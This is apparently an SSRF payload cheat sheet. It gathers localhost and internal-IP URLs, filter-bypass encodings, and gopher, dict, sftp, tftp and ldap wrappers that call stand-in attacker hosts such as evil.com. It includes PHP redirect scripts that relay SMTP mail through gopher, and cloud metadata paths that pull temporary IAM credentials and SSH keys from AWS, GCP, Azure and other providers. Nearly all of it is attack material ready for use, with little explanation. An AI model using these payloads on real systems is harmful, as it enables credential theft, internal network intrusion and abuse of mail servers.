Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.

Summary

Exploit with localhost

Basic SSRF v1

```
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```

Basic SSRF - Alternative version

```
http://localhost:80
http://localhost:443
http://localhost:22
```

Advanced exploit using a redirection

```
1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```

Advanced exploit using type=url

```
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

Bypassing filters

Bypass using HTTPS

```
https://127.0.0.1/
https://localhost/
```

Bypass localhost with [::]

```
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```

```
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```

Bypass localhost with a domain redirecting to locahost

```
http://localtest.me
http://n-pn.info
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
```

The service nip.io is awesome for that, it will convert any ip address as a dns.

```
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

Bypass localhost with CIDR : 127.x.x.x

```
it's a /8
http://127.127.127.127
```

```
http://127.0.1.3
http://127.0.0.0
```

Bypass using a decimal ip location

```
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```

Bypass using malformed urls

```
localhost:+11211aaa
localhost:00011211aaaa
```

Bypass using rare address

```
http://0/
```

Bypass using bash variables (curl only)

```
curl -v "http://evil$google.com"
$google = ""
```

Bypass using tricks combination

```
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

Bypass using enclosed alphanumerics @EdOverflow (https://twitter.com/EdOverflow)

```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
```

```
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

                                                                ⓐ ⓑ ⓒ
 ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ   ⓫ ⓬ ⓭ ⓮ ⓯
⓰ ⓱ ⓲ ⓳ ⓴ ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
```

SSRF via URL Scheme

Dict Wrapper The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```

Sftp Wrapper

```
ssrf.php?url=sftp://evil.com:11111/
```

Tftp Wrapper

```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```

Ldap Wrapper

```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```

Gopher Wrapper

```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT
```

Gopher SMTP - Back connect to 1337

```
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```

Gopher SMTP – send a mail

```
Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>
```

SSRF to XSS by @D0rkerDevil & @alyssa.o.herrera

```
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssr
f

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelo
gic.com.br/poc.svg
```

SSRF URL for Cloud Instances

SSRF URL for AWS Bucket

Docs (http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) Interesting path to look for at `http://169.254.169.254`

```
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```

DNS record

```
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```

HTTP redirect

```
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```

Alternate IP encoding

```
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```

More urls to include

```
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
```

SSRF URL for Google Cloud

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

```
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```

Google allows recursive pulls

```
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

```
http://metadata.google.internal/computeMetadata/v1beta1/
```

SSRF URL for Digital Ocean

Documentation available at `https://developers.digitalocean.com/documentation/metadata/`

```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```

SSRF URL for Packetcloud

Documentation available at `https://metadata.packet.net/userdata`

SSRF URL for Azure

Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`

```
http://169.254.169.254/metadata/v1/maintenance
```

Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`

```
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```

SSRF URL for OpenStack/RackSpace

(header required? unknown)

```
http://169.254.169.254/openstack
```

SSRF URL for HP Helion

(header required? unknown)

```
http://169.254.169.254/2009-04-04/meta-data/
```

SSRF URL for Oracle Cloud

```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```

SSRF URL for Alibaba

```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```

Thanks to

- Hackerone - How To: Server-Side Request Forgery (SSRF) (https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
- Awesome URL abuse for SSRF by @orange_8361 #BHUSA (https://twitter.com/albinowax/status/890725759861403648)
- How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai (http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- #HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai (https://www.youtube.com/watch?v=D1S-G8rJrEk)
- SSRF Tips - xl7dev (http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
- SSRF in https://imgur.com/vidgif/url (https://hackerone.com/reports/115748)
- Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat (https://www.dailysecurity.fr/server-side-request-forgery/)
- AppSecEU15 Server side browsing considered harmful - @Agarri (http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- Enclosed alphanumerics - @EdOverflow (https://twitter.com/EdOverflow)
- Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity (http://www.sxcurity.pro/2017/12/17/hackertarget/)
- PHP SSRF @secjuice (https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
- How I convert SSRF to xss in a ssrf vulnerable Jira (https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
- Piercing the Veil: Server Side Request Forgery to NIPRNet access (https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)